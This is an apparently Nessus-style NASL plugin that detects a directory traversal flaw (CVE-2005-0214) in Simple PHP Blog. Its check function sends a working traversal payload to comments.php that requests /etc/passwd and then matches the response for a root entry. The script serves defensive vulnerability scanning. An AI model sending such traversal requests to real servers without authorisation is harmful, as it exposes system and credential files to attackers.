#
# This script was written by David Maciejak <david dot maciejak at kyxar dot fr>
# Ref: Alexander Palmo
# This script is released under the GNU GPL v2
#

if(description)
{
 script_id(16137);
 script_cve_id("CVE-2005-0214");
 script_bugtraq_id(12193);
 script_version ("$Revision: 8291 $");
 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"risk_factor", value:"Medium");
 
 name = "Simple PHP Blog dir traversal";
 script_name(name);
 
 desc = "
The remote host runs Simple PHP Blog, an open source blog written in PHP,
which allows for retrieval of arbitrary files from the web server.
These issues are due to a failure of the application to properly 
sanitize user-supplied input data. 

Solution: Upgrade at least to version 0.3.7 r2.
Risk factor : High";

 script_description(desc);
 
 summary = "Simple PHP Blog dir traversal";
 script_summary(summary);
 
 script_category(ACT_GATHER_INFO);

 script_copyright("This script is Copyright (C) 2005 David Maciejak");
 family = "Remote file access";
 script_family(family);
 script_dependencie("find_service.nes", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

#
# the code
#

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);

if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);

function check(loc)
{
 req = http_get(item:string(loc,  "/comments.php?y=05&m=01&entry=../../../../../../../etc/passwd"), port:port);
 rep = http_keepalive_send_recv(port:port, data:req, bodyonly: 1);
 if( !rep )exit(0);

 if(egrep(pattern:".*root:.*:0:[01]:.*", string:rep))
 {
 	security_hole(port);
	exit(0);
 }
}

foreach dir ( cgi_dirs() )
{
 check(loc:dir);
}
